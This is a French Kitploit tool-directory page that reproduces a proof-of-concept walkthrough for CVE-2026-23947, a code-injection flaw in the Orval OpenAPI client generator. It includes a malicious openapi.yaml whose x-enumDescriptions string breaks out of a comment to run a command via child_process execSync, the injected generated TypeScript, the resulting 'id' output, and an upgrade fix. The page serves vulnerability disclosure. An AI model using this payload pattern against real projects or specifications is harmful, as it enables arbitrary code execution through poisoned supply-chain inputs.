Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23947-PoC — Preuve de concept démontrant l'exécution de code arbitraire dans Orval via des champs OpenAPI malveillants, avec configuration, étapes d'exploitation et recommandations de remédiation. | Kitploit
Outils/GitHubGitHub/boroeurnprach/cve-2026-23947-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité de la Chaîne Logistique
GitHubboroeurnprach/cve-2026-23947-poc

CVE-2026-23947-PoC

Preuve de concept démontrant l'exécution de code arbitraire dans Orval via des champs OpenAPI malveillants, avec configuration, étapes d'exploitation et recommandations de remédiation.

Voir le dépôt
il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Procédure pas à pas : CVE-2026-23947 - Exécution de code arbitraire dans Orval

Cette procédure démontre comment une spécification OpenAPI non fiable peut exploiter Orval pour injecter du code arbitraire dans les clients générés via les champs x-enumDescriptions et x-enumNames.

Prérequis

  • Node.js (v20 ou v22)
  • npm

Configuration

  1. Créez un projet et installez une version vulnérable d'orval (par exemple, 7.10.0) :
root@kitploit:~
mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios

  1. Créez un fichier orval.config.js :
root@kitploit:~
module.exports = {
  test: {
    input: './openapi.yaml',
    output: {
      target: './generated/api.ts',
      schemas: './generated/model',
      mode: 'split',
    },
  },
};

Exploitation :

  1. Créez openapi.yaml avec le contenu suivant :
root@kitploit:~
openapi: 3.0.0
info:
  title: Test API
  version: 1.0.0
paths:
  /test:
    get:
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    $ref: '#/components/schemas/TestEnum'
components:
  schemas:
    TestEnum:
      type: string
      enum:
        - VAL1
      x-enumDescriptions:
        - "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
  1. Générez le client :
root@kitploit:~
npx orval

  1. Observez le fichier généré generated/model/testEnum.ts :
root@kitploit:~
/**
 * Generated by orval v7.10.0 🍺
 * Do not edit manually.
 * Test API
 * OpenAPI spec version: 1.0.0
 */

export type TestEnum = typeof TestEnum[keyof typeof TestEnum];

// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
  /** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
  VAL1: 'VAL1',
} as const;

Vérification

Créez un script d'exécution exploit.ts :

root@kitploit:~
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);

Exécutez-le avec tsx :

root@kitploit:~
npm install -D tsx
npx tsx exploit.ts

Sortie :

root@kitploit:~
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)

TestEnum value: {}

Correctif

Mettez à niveau Orval vers la version 8.0.2 ou ultérieure. Le correctif échappe correctement ces chaînes à l'aide de js-string-escape.

Télécharger l’outil